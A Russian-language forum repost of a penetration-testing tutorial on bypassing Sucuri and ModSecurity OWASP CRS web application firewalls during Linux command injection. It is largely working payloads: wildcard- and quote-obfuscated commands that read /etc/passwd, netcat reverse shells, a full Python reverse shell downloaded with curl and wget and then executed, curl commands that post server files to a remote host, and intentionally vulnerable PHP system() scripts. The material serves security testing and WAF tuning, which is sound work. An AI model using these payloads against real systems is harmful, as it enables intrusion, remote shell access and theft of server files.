HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Все современные Файерволы веб-приложений (Web Application Firewall — WAF) способны перехватывать (и даже блокировать) попытки RCE (Remote Command Execution — Удалённого выполнения команд), но когда это происходит в системах Linux у нас есть неимоверное количество путей обхода набора правил WAF. Лучший друг тестера на проникновение это не собака, это подстановочные символы (wildcard). Перед тем, как мы начнём делать разные приколюхи с тестированием на проникновение веб-приложений (WAPT), я хочу показать вам несколько возможностей, которые вы могли не знать о Bash и подстановочных символах.
Это не редкость найти уязвимость Удалённое выполнение команд (Remote Command Execution) в веб-приложении и это подтверждается в «OWASP Top 10 application security risk 2017» в котором «Инъекция» (Injection) на первом месте:
Недостатки безопасности связанные с инъекциями (внедрениями): такие как SQL, NoSQL, ОС и LDAP инъекции, встречаются когда ненадёжные данные отправляются интерпретатору в качестве команды или запроса. Враждебные данные атакующего могут с помощью уловки заставить интерпретатор выполнить непреднамеренные команды или получить доступ к данным без надлежащей авторизации.
Подстановочные символы
Стандартные подстановочные символы Bash (также известные как globbing patterns) используются различными утилитами командной строки для работы с несколькими файлами. Для дополнительной информации о стандартных подстановочных символах обратитесь к странице справки, для этого в командной строке выполните:
Код:
man 7 glob
Вместо выполнения команды ls вы можете использовать следующий синтаксис:
Код:
/???/?s
Примечание: строка /???/?s может соответствовать сразу нескольким программам, например:
Код:
which/???/?s
/bin/as
/bin/gs
/bin/ls
/bin/ps
/bin/ss
which: no ts in (/lib)
which: no fs in (/sys)
С синтаксисом этого типа вы можете выполнить практически всё, что хотите. Допустим уязвимая цель за Web Application Firewall и этот WAF имеет правило, которое блокирует все запросы, содержащие /etc/passwd или /bin/cat внутри значения GET параметра или внутри тела POST запроса. Если вы попытаетесь сделать запрос вроде такого /?cmd=cat+/etc/passwd, он будет заблокирован целевым WAF и ваш IP будет навсегда забанен как «очередного хакера». Но у нас есть секретное оружие под названием подстановочные символы. Если вы достаточно удачливы (для не столь удачливых смотрите дальше), то целевой WAF не имеет «уровня паранойи» который блокирует символы вроде ? и /внутри строки запроса. Поэтому вы можете с лёгкостью сделать ваш запрос (в url-кодировке) вроде такого: /?cmd=%2f???%2f??t%20%2f???%2fp??s??
Получится команда:
Код:
/???/??t /???/p??s??
Код:
echo 'строка для декодирования из url' | php -r 'echo
urldecode(fgets(STDIN));'
# и
echo -n 'строка для кодирования в url' | php -r 'echo
urlencode(fgets(STDIN));'
Код:
echo '%2f???%2f??t%20%2f???%2fp??s??' | php -r 'echo
urldecode(fgets(STDIN));'
/???/??t /???/p??s??
Код:
echo -n '/???/??t /???/p??s??' | php -r 'echo urlencode(fgets(STDIN));'
%2F%3F%3F%3F%2F%3F%3Ft+%2F%3F%3F%3F%2Fp%3F%3Fs%3F%3F
Как вы можете видеть на скриншоте выше, имеется 3 ошибки «/bin/cat *: Is a directory», то есть /bin/cat *: не является директорией. Это случилось поскольку «/???/??t» может быть истолковано процессом globbing как /bin/cat, но и также как /dev/net или /etc/apt и так далее.
Подстановочный символ знак вопроса (?) обозначает только один символ, которым может быть любой символ. Таким образом, в случае если вы знаете часть имени файла, но не одну букву, тогда вы можете попытаться исопльзовать подстановочные символы. Например, ls *.???выведет список всех файлов в текущей директории, у которых файловое расширение длиной в 3 символа. То есть будут показаны файлы с такими расширениями как .gif , .jpg , .txt
Используя этот подстановочный символ, вы можете создать обратное подключение к оболочке используя netcat. Допустим нам нужно выполнить обратный шелл к 127.0.0.1 на порту 1337 (команда в обычной форме это nc -l -e /bin/bash 127.0.0.1 -p 1337), тогда вы можете сделать это синтаксисом вроде следующего:
Код:
/???/n?t??t -l -e /???/b??h 2130706433 -p 1337
Также nc заменена на netcat (псевдоним для nc). В зависимости от системы и установленных программ, также иногда можно использовать ncat (версия nc от авторов Nmap). Ещё один вариант — nc.traditional (работает, например, в Kali Linux, возможно и в других производных Debian).
На «жертве» запущено прослушивание подключения:
Код:
/???/n?t??t -l -e /???/b??h 2130706433 -p 1337
Код:
nc 127.0.0.1 1337
Код:
cd /
ls -l
В предыдущем примере на «атакуемой» машине было открыто прослушивание порта и затем «злоумышленник» подключился к ней.
Можно использовать другой вариант, «злоумышленник» открывает на своей машине порт в ожидании соединения:
Код:
nc -l -p 1337
Код:
/???/n?t??t -e /???/b??h 2130706433 1337
Обычная команда: netcat -l -e /bin/bash 127.0.0.1 -p 1337
Команда для обхода: /???/n?t??t -l -e /???/b??h 2130706433 -p 1337
Используемые символы: / ? n t l e p - [0-9]
Обычная команда: /bin/cat /etc/passwd
Команда для обхода: /???/??t /???/??ss??
Используемые символы: / ? t s
Почему используется ? (знак вопроса) вместо * (звёздочки)? Потому что * широко используется в синтаксисе комментирования (что-то вроде /* А здесь комментарий */) и многие WAF блокирует его, чтобы избежать SQL инъекции… чего-то вроде UNION+SELECT+1,2,3/*
Перечислять файлы и директории используя echo? Да, мы можем. Команда echo, используя подстановочный символ, может перечислять файлы и директории в системе. Например:
Код:
echo /*/*ss*
Это может использоваться в RCE чтобы узнать, какие есть файлы и директории на целевой системе. Пример перечисления файлов и директорий через WAF:
Но почему использование подстановочных символов (и в особенности знака вопроса) может помочь обойти правила WAF? Давайте начнём с Sucuri WAF!
Обход Sucuri WAF
Тестирование техники обхода на Sucuri WAF:
Какой самый лучший способ тестирования набора правил WAF? Создать самый уязвимый в мире PHP скрипт и попробовать все возможные техники! На скриншоте выше у нас: в верхней левой панели моё ужасное веб-приложение (это просто PHP скрипт, который выполняет команды):
Код:
<?php
echo 'ok: ';
print_r($_GET['c']);
system($_GET['c']);
Правая панель является самой интересной из всех, поскольку она показывает тот же запрос с использованием «знака вопроса» в качестве подстановочного символа. Результат пугающий. Запрос принят Sucuri WAF и моё приложение выполнило команду, которую я передал в параметре c. Теперь я могу прочитать файл /etc/passwd и многое другое… Я могу прочитать исходный код PHP самого приложения, я могу выполнить обратный шелл (reverse shell) используя netcat (или как мне нравится называть её /???/n?t??t или /???/?c), или я могу исполнить программы, такие как curl или wget чтобы раскрыть реальный IP адрес веб сервера, который даст мне возможность обходить WAF, подключаясь напрямую к цели.
Я не знаю, случилось ли это из-за того, что я что-то пропустил в моей конфигурации Sucuri WAF, но не похоже на это… Я спросил Sucuri, является ли это преднамеренным поведением, и настраивают ли они стандартный «low paranoia level» для избежания ложных срабатываний (false positives), но я до сих пор ожидаю ответа.
Пожалуйста, помните, что я делаю тест используя простейший PHP скрипт, который не воспроизводит реальный сценарий. ИМХО вы не должны судить WAF на основе того, как много запросов он блокирует, и Sucuri не менее безопасен просто потому, что не может полностью защитить намеренно уязвимый вебсайт. Необходимое уточнение сделано!
ModSecurity OWASP CRS 3.0
Я действительно люблю ModSecurity, я думаю, что новая libmodsecurity (v3), используемая с Nginx и коннектором Nginx — это лучшее решение, которое я когда-либо использовал для развёртывания Файервола веб приложений. Я также большой поклонник OWASP Core Rule Set! Я использую его везде. Но если вы не знакомы хорошо с этим набором правил, вы должны обратить внимания на Paranoia Level!
Paranoia Level (Уровень Паранойя) для начинающих
Следующая «схема», которую вы можете найти
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
— это хороший обзор как работает каждый уровень на правилах «REQUEST PROTOCOL ENFORCEMENT». Как вы можете видеть с PL1 строка запроса может содержать только символы ASCII в диапазоне 1–255 и правило становится более ограничительным вплоть до уровня PL4, который блокирует всё, кроме ASCII символов в очень маленьком диапазоне.
Код:
# -=[ Targets and ASCII Ranges ]=-
#
# 920270: PL1
# REQUEST_URI, REQUEST_HEADERS, ARGS и ARGS_NAMES
# ASCII: 1-255
# Пример: Полный диапазон ASCII без символа null
#
# 920272: PL3
# REQUEST_URI, REQUEST_HEADERS, ARGS, ARGS_NAMES, REQUEST_BODY
# ASCII: 32-36,38-126
# Пример: Видимые буквы нижнего регистра диапазона ASCII без символа процент
#
# 920273: PL4
# ARGS, ARGS_NAMES и REQUEST_BODY
# ASCII: 38,44-46,48-58,61,65-90,95,97-122
# Пример: A-Z a-z 0-9 = - _ . , : &
#
# 920274: PL4
# REQUEST_HEADERS без User-Agent, Referer, Cookie
# ASCII: 32,34,38,42-59,61,65-90,95,97-122
# Пример: A-Z a-z 0-9 = - _ . , : & " * + / SPACE
Paranoia Level 0 (PL0)
Уровень Paranoia Level 0 обозначает, что многие правила отключены, поэтому абсолютно нормально, что наша полезная нагрузка может привести к Удалённому выполнению команд без каких-либо проблем. Не паникуем!
Код:
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=0"
Уровень paranoia level 1 в ModSecurity означает “flawless rules of high quality with virtually no false positives” (не вызывающие проблем правила высокого качества теоретически не вызывающие ложных срабатываний), но они также разрешают слишком много. Вы можете найти список правил сгруппированных по уровню паранойи на веб-сайте netnea.
Уровни Paranoia Level 1 и 2 (PL1, PL2)
Я сгруппировал уровни 1 и 2 поскольку их разница (как вы можете видеть на схеме выше) не оказывает воздействия для наших целей, все поведения те же самые, как описано ниже.
Код:
SecAction "id:999,\
phase:1,\
nolog,\
pass,\
t:none,\
setvar:tx.paranoia_level=1"
Это случилось из-за того, что «знак вопроса» и «слэш» и «пробел» входят в приемлемый диапазон символов для правил 920271 и 920272. Более того, использование «знаков вопроса» вместо синтаксиса команд дало мне возможность избежать фильтров «OS File» (файлы операционной системы), которые перехватывают обычные команды и файлы операционной системы (такие как /etc/passwd в нашем случае).
Уровень Paranoia Level 3 (PL3)
Этот уровень паранойи имеет дополнение: он блокирует запросы, содержащие такие символы как «?» более чем n раз. На самом деле, мои запросы были заблокированы как «Meta-Character Anomaly Detection Alert — Repetitive Non-Word Characters». Отлично! Хорошая работа, ModSecurity, ты выиграл плюшевого мишку! Но к сожалению моё веб приложение такое неудачное и уязвимое, что я могу использовать меньше знаков вопросов и всё равно прочитать файл passwd используя синтаксис: c=/?in/cat+/et?/passw?
Как вы можете видеть, если всего три знаков вопросов «?», то я могу обойти этот уровень паранойи и прочитать файл passwd внутри целевой системы. Окей, это не означает, что вы всегда безусловно должны устанавливать уровень паранойи на 4. Помните, что я тестирую на действительном убогом PHP скрипте, которые не представляет реальный сценарий… Я так надеюсь, по крайней мере…
Теперь каждый знает, что
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
это ответ на главный вопрос жизни, вселенной и всего такого. Но что насчёт вопроса: «Удастся ли обойти OWASP Rule Set на уровне паранойи 4?».Уровень Paranoia Level 4 (PL4)
В принципе нет. Я не могу. Все символы за пределами диапазонов a-z A-Z 0–9 блокируются! Никак… и поверьте мне, когда вам нужно выполнить команду для чтения файлов, 90% вероятности, что вам нужен символ «пробела» и «слэша».
Объединяем строки в полезной нагрузке для обхода правил
Очевидно, что существует множество способов обойти набор правил WAF и я думаю каждая атака имеет свои специфичные техники обхода. Например: использование синтаксиса комментирования внутри полезной нагрузки SQL-инъекции может обойти многие фильтры. Я имею ввиду вместо использования union+select вы можете использовать что-то вроде:
Код:
/?id=1+un/**/ion+sel/**/ect+1,2,3--
Если вы хотите попрактиковаться с некоторыми из этих техник обхода, недавно я (в смысле автор theMiddle) создал FluxCapacitor — крайне уязвимую виртуальную машину на hackthebox. Эта статья не содержит каких либо подсказок для решения определённых сценариев FluxCapacitor, но может улучшить ваши знания об этой технике.
Конкатенация (объединение)
Во многих языках программирования, конкатенация строки — это бинарный инфиксный (это означает, что вставляется посередине) оператор. Оператор + (плюс) часто перегружается для обозначения конкатенации строковых аргументов: "Hello, " + "World" имеет значение "Hello, World". В других языках есть отдельный оператор специально для указания неявного преобразования типа в строку, в отличие от более сложного поведения универсального плюса. В качестве примеров можно привести . (точка) в Perl и PHP, .. (две точки) в Lua и так далее. Например:
Код:
php -r 'echo "hello"." world"."\n";'
hello world
python2 -c 'print "hello" + " world"'
hello world
В некоторых языках, таких как C, C++, Python и скриптовых языках / синтаксис которых может быть найден в Bash, есть нечто, называемое конкатенацией строковых литералов (string literal concatenation), что означает, что смежные строковые литералы объединяются без какого-либо оператора: "Hello, " "World" имеет значение "Hello, World". Это работает не только для команд printf и echo, но и для всего синтаксиса bash. Давайте начнём с начала.
Каждая из следующих команд имеет одинаковый результат:
Код:
echo test
echo 't'e's't
echo 'te'st
echo 'te'st''
echo 'te'''st''
python2 -c 'print "te" "st"'
Это происходит потому, что все смежные строковые литералы объединяются в Bash. На самом деле 'te's't' составлена из трёх строк: строка te, строка s и строка t. Этот синтаксис может использоваться для обхода фильтра (или правила WAF), которое основывается на «совпадении фраз» (например как pm оператор в ModSecurity).
Правило SecRule ARGS "@pm passwd shadow groups"… в ModSecurity будет блокировать все запросы, содержащие passwd или shadow. Но что если мы конвертируем их в pa'ss'wd или sh'ad'ow? Как SQLi синтаксис, который мы видели ранее, и в котором запрос разбит с использованием комментариев, здесь также мы можем разбить имена файлов и системных команд используя единичную кавычку ' и составив группу объединяющихся строк. Конечно, вы можете использовать конкатенированную строку в качестве аргумента любой команды, но не только это… Bash позволяет нам объединять даже пути до исполнимых файлов!
Несколько примеров одних и тех же команд:
Код:
/bin/cat /etc/passwd
/bin/cat /e'tc'/pa'ss'wd
/bin/c'at' /e'tc'/pa'ss'wd
/b'i'n/c'a't /e't'c/p'a's's'w'd'
Теперь давайте предположим, что вы обнаружили удалённое выполнение команд в параметре url вашего приложения. Если имеется правило, которое блокирует фразы вроде «что-либо, passwd, shadow, что-либо…», вы можете обойти это чем-то вроде такого:
Код:
curl .../?url=;+cat+/e't'c/pa'ss'wd
Вы удивитесь, как много раз я встречал такого рода вещи в исходном коде реальных производственных приложениях. PHP, который я буду использовать:
Код:
<?php
if ( isset($_GET['zzz']) ) {
system('curl -v '.$_GET['zzz']);
}
Прежде всего я попытаюсь использовать это PHP приложение чтобы получить тело ответа google.com без кодирования значения параметра:
Код:
curl -v 'http://test1.unicresit.it/?zzz=google.com'
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
(google правильно определил расположение моего сервера во Франкфурте):Теперь много вещей, которые я могу делать, чтобы эксплуатировать это уязвимое приложение. Одна из них — это поломка синтаксиса curl с помощью ; (точки с запятой) и попытка выполнить другие системные команды. Sucuri злится, когда я пытаюсь прочитать файл /etc/passwd… Например:
Код:
curl -v 'http://test1.unicresit.it/?zzz=;+cat+/etc/passwd'
Код:
curl -v "http://test1.unicresit.it/?zzz=;+cat+/e'tc/pass'wd"
Я знаю, что вы думаете: «хорошо, ты можешь прочитать файл passwd обойдя все наборы правил WAF…, но реальный, самый большой и самый важный, мать всех вопросов такой: можешь ли ты получить шелл даже если Sucuri WAF активен и защищает ваше приложение?» natürlich да! Единственная проблема, что мы не можем использовать netcat, поскольку она не установлена в целевой контейнер и да: я проверил это используя удалённое выполнение команд
Код:
curl -s "http://test1.unicresit.it/?zzz=;+which+ls"
/bin/ls
curl -s "http://test1.unicresit.it/?zzz=;+which+nc"
Вместо попытки получить шелл отправляя команды напрямую через уязвимый параметр, я могу загрузить обратный шелл Python в директорию с правами записи используя curl или wget. Начнём с подготовки кода python в shell.py:
Код:
#!/usr/bin/python2
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my ip address>",2375));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
Код:
curl -v '.../?zzz=<myip>:2375/shell.py+-o+/tmp/shell.py'
Обратный шелл на python через Sucuri WAF:
Окей, Sucuri WAF не блокирует этот запрос, но обычно ModSecurity блокирует подобную хрень.
Если вы хотите быть уверенным, что обойдёте все типы правил «совпадения фраз», вы можете использовать wget + ip-в-длинной-нотации + объединение строки:
Код:
.../?zzz=wg'e't 168431108 -P tmp
.../?zzz=c'hm'od 777 -R tmp
.../?zzz=/t'm'p/index.html
Обход ModSecurity и OWASP Core Rule Set
Вероятно вы думаете, что с низким уровнем паранойи вы можете обойти OWASP Core Rule Set с этими техниками, как мы видели в первой статье… Хмм, в принципе, нет. Это из-за двух вещей, называемых normalizePath и cmdLine. В ModSecurity они называются «transformation function» (функции трансформации) и используются для изменения входных данных перед их проверкой на совпадение правилам (например, выполнение оператора). Входные данные никогда не изменяются. ModSecurity создаст копию данных, трансформирует их, и затем запустит оператор в отношении полученного результата.
normalizePath: он удаляет множественные слэши, ссылки директории на саму себя и обратные ссылки директории (за исключением начала ввода) из входной строки.
cmdLine: сломает все ваши мечты пентестера
разработан Марком Стернером (Marc Stern), эта функция трансформации избегает использование последовательностей экранирования, нормализуя значения параметров, и проверяет на все правила, такие как LFI, RCE, Unix команды и так далее. Например, перед оценкой по любым правилам /e't'c/pa'ss'wd нормализуется до /etc/passwd. Она делает многое! К примеру:
- удаляет все обратные слэши \
- удаляет все двойные кавычки "
- удаляет все единичные кавычки '
- удаляет все символы каретки ^
- удаляет пробелы перед слэшами /
- удаляет пробелы перед открытыми скобками (
- заменяет все запятые , и точки с запятой ; на пробелы
- заменяет все множественные пробелы (включая tab, newline и прочее) на один пробел
- преобразует все буквы в нижний регистр
Код:
Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:zzz' (Value: ` cat /e't'c/pa'ss'wd' )"
"o5,10v10,20t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"
"ruleId":"932160"
Этот трюк отправляет файлы на удалённый сервер в теле HTTP запроса POST. Это может делать curl с использованием параметра -d:
Код:
curl -d @/<file> <удалённый сервер>
Код:
curl ".../?zzz=-d+%40/usr/local/.../index.php+1.1.1.1:1337"
Всё это не будет работать если цель имеет уровень паранойи установленный на 4, поскольку полезная нагрузка содержит такие символы как тире, слэш и так далее. Хорошая новость в том, что уровень паранойи 4 очень нечасто встречается в рабочей среде.
Эта же техника также работает с использованием символа обратного слэша \. Это не строка с конкатенацией, это просто символ экранирования:
Заключение
Назад к статичным HTML страницам… это самый быстрый способ улучшить безопасность вашего веб приложения! Трудно сказать, какая конфигурация является самой лучшей для предотвращения обхода WAF или какой уровень паранойи использовать. По моему скромному мнению, мы не должны надеятся на набор правил, одинаковый для всех веб приложений. На самом деле, я думаю, что нам следует настраивать наши правила для WAF исходя из контекста их применений — индивидуально для функциональности приложения.
В любом случая, когда вы пишите новое SecRule для вашего ModSecurity или чего-то подобного. Помните, что вероятно существует много способов ускользнуть от вашего фильтра / регулярного выражения. Поэтому пишите его с мыслью «как бы я мог обойти это правило?».